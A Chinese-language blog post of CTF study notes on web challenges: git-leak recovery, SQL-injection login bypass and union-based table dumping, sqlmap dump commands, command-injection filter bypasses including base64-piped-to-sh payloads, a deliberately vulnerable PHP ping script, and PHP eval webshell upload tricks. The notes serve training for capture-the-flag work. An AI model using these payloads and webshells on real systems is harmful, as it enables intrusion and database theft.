ctf 第一天

通过用户名或者密码进行获取flag

需要更改referer和X-Forwarded-For来通过验证

通过disearch进行文件的搜索

拿到题目,如果没有思路 可以先使用工具进行暴力破解看看文件

如果发现git的文件可以使用一下方法进行还原

python2 GitHack.py http://challenge-47f45969ef48a54f.sandbox.ctfhub.com:10800/.git/git log

git diff 26df587e18be9840e2a229921b754b3eb67a5a64

git reset --hard 26df587e18be9840e2a229921b754b3eb67a5a64 #恢复至某一个commit

mysql数据库 sql注入

万能密码 1' or 1# 1'||1# 1' or '1'='1

select * from tb1 where username='1' or 1# ' and password='1';
select * from tb1 where username='1'||1# ' and password='1';
select * from tb1 where username='1' and password='1' or '1'='1';
碰到简单的可以直接使用恒等公式进行获取信息

熟练使用schema_name的信息 所有的数据库 table表格、字段都存放在这个表里面

?username=1%27%20or%201%20%23&password=1
其中'为%27 %20表示空格 %23表示#

select group_concat(schema_name) from information_schema.schemata;
# 查询指定数据库 db 下的数据表名称:tb1,tb2
select group_concat(table_name) from information_schema.tables where table_schema=database();
select group_concat(table_name) from information_schema.tables where table_schema='db';
# 查询指定数据表 tb1 下的数据列: id,username,password
select group_concat(column_name) from information_schema.columns where table_name='tb1';
select group_concat(column_name) from information_schema.columns where table_schema='db' and table_name='tb1';
# 查询字段值
select group_concat(id,0x7e,username,0x7e,password) from db.tb1;```
# union 联合查询
```## union 联合查询注入 - 条件: 列数保持一致,有回显位
### [极客大挑战 2019]LoveSQL
?username=1%27 order by 3%23&password=1  # succ
?username=1%27 order by 4%23&password=1  # error,列数3列
?username=1%27 union select 1,2%23&password=1   # error
?username=1%27 union select 1,2,3%23&password=1 # succ,列数3列
# 回显位在 2,3 位置
?username=1%27 union select 1,database(),version()%23&password=1
# 查库 - geek
?username=1%27 union select 1,database(),3%23&password=1
# 查表 - geekuser,l0ve1ysq1
?username=1%27 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database();%23&password=1
# 查列 - id,username,password
?username=1%27 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='l0ve1ysq1';%23&password=1
# 查字段值
?username=1%27 union select 1,group_concat(id,0x7e,username,0x7e,password),3 from l0ve1ysq1;%23&password=1```
# 也可以通过浏览器插件快速生成代码
![](https://img2024.cnblogs.com/blog/1943889/202404/1943889-20240422223352573-609872580.jpg)


# 脱裤软件sqlmap
```# 脱库
# sqlmap
sqlmap -u http://118.89.66.70:8803/02-char/?id=1 --dbms=mysql --batch --dbs
sqlmap -u http://118.89.66.70:8803/02-char/?id=1 --dbms=mysql --batch -D sqli --tables
sqlmap -u http://118.89.66.70:8803/02-char/?id=1 --dbms=mysql --batch -D sqli -T flag --columns
sqlmap -u http://118.89.66.70:8803/02-char/?id=1 --dbms=mysql --batch -D sqli -T flag -C flag --dump
# sqli 所有内容进行了脱库操作
sqlmap -u http://118.89.66.70:8803/02-char/?id=1 --dbms=mysql --batch -D sqli --dump

## POST
sqlmap -u http://118.89.66.70:8803/02-char-post/ --data "id=1" --batch --dbs
sqlmap -u http://118.89.66.70:8803/02-char-post/ --form --batch --dbs```

# 常见的flag目录位置
flag常见位置
系统根目录 - /flag   /ffllllaaaaggg
网站根目录 - /var/www/html/flag.php
数据库
环境变量 - env命令


# 常用的linux命令
![](https://img2024.cnblogs.com/blog/1943889/202404/1943889-20240422223555573-1496219500.jpg)

# 执行命令  通过添加命令执行exec命令
![](https://img2024.cnblogs.com/blog/1943889/202404/1943889-20240422223650548-679426791.jpg)
![](https://img2024.cnblogs.com/blog/1943889/202404/1943889-20240422223655318-585638303.jpg)
## linux代码中的连接符
分隔符过滤绕过:   ; | || & && %0a
![](https://img2024.cnblogs.com/blog/1943889/202404/1943889-20240422223729938-1176616321.jpg)
![](https://img2024.cnblogs.com/blog/1943889/202404/1943889-20240422223735951-2029669072.jpg)

# 文字版
```# 空格绕过
cat /flag
cat</flag
cat<>/flag
cat$IFS$9/flag
cat$IFS/flag
cat${IFS}/flag

# 命令连接符
; | || & && %0a


# 查看文件命令绕过
cat /flag
nl /flag
sort /flag
tac /flag

# 特殊字符绕过
cat /flag
c''a""t /f''l\a""g
c\at /fl\a""g

# 通配符绕过
cat /flag
cat /f*
cat /f[a-z]ag
cat /f???
/bin/ca? /f???

# 变量绕过
cat /flag
a=c;b=at;c=fl;d=ag;$a$b /$c$d
a=c;b=at;c=fl;d=ag;$a$b$IFS$9/$c$d

# 编码绕过
cat /flag
echo 'cat /flag' | base64
echo Y2F0IC9mbGFnCg==|base64 -d
echo Y2F0IC9mbGFnCg==|base64 -d|sh
echo Y2F0IC9mbGFnCg==|base64 -d|bash```

# 文件上传注意查看源码  有些不能使用的字母
```<?php
if(isset($_GET['ip'])){
  $ip = $_GET['ip'];
  if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "<pre>";
  print_r($a);
}

?>```


# 替换空格
![](https://img2024.cnblogs.com/blog/1943889/202404/1943889-20240422223936540-569131095.jpg)
# 编码替换
![](https://img2024.cnblogs.com/blog/1943889/202404/1943889-20240422224000152-1406960678.jpg)
# 文件上传后,进行注入
![](https://img2024.cnblogs.com/blog/1943889/202404/1943889-20240422224030586-535569798.jpg)
# 使用蚁剑
![](https://img2024.cnblogs.com/blog/1943889/202404/1943889-20240422224048780-1541673439.jpg)



# 文件上传漏洞的几种方式    可以使用bp软件进行抓包   然后进行发送请求,查看请求和响应的情况。根据提示信息进行更改请求头
![](https://img2024.cnblogs.com/blog/1943889/202404/1943889-20240422224217547-1632911007.jpg)
```文件上传
	前端验证
	MIME - 文件类型
		Content-Type: image/png   image/jpeg   image/jpg  image/gif
	文件头部
		GIF89a<?php eval($_POST[1]);?>
	文件内容
		<?php eval($_POST[1]);?>
		<?=eval($_POST[1]);?>
		<script language="php">eval($_POST[1]);</script>   //仅限php5
	文件后缀
		大小写: 1.php  1.pHp  1.phP
		其他常见文件后缀: 1.php 1.phtml 1.pht
	替换 -> 双写绕过 1.pphphp```

# 使用脚本进行破解的参数
```python dirsearch.py -u http://80.endpoint-c40c18f71d6b465cb218701491c5c3f2.m.ins.cloud.dasctf.com:81/ -e * -t 1```
# 数据库的破解  注入实例
![](https://img2024.cnblogs.com/blog/1943889/202404/1943889-20240422224358117-1224905690.jpg)
```?id=-1 or 1?id=-1 union select 4,5,6?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='secret'?id=-1 union select 1,2,group_concat(f1ag) from secret## sqlmapsqlmap -u http://80.endpoint-71b8e56896b6471c81a440be80f441f2.m.ins.cloud.dasctf.com:81/?id=1 --batch --dbssqlmap -u http://80.endpoint-71b8e56896b6471c81a440be80f441f2.m.ins.cloud.dasctf.com:81/?id=1 --batch -D db --dump```
![](https://img2024.cnblogs.com/blog/1943889/202404/1943889-20240422224414696-207972699.jpg)

# 习题中的通过命令进行获取flag的方式
![](https://img2024.cnblogs.com/blog/1943889/202404/1943889-20240422224459906-1431569171.jpg)
# 通过通配符进行跨过过滤
```?ip=127.0.0.1|cat /f[a-z]ag?ip=127.0.0.1|cat /f\lag```
![](https://img2024.cnblogs.com/blog/1943889/202404/1943889-20240422224547195-2081501453.jpg)
# 通过自定义变量进行躲避过滤
```?ip=127.0.0.1%26%26a=ag%26%26cat /fl$a?ip=127.0.0.1%0aa=ag%0acat /fl$a```
![](https://img2024.cnblogs.com/blog/1943889/202404/1943889-20240422224634266-198789307.jpg)
#通过base64编码进行躲避过滤
```?ip=127.0.0.1%0aecho Y2F0IC9mbGFnIA0K|base64 -d|sh```
posted @ 2024-04-22 22:47  竹石2020  阅读(11)  评论(0编辑  收藏  举报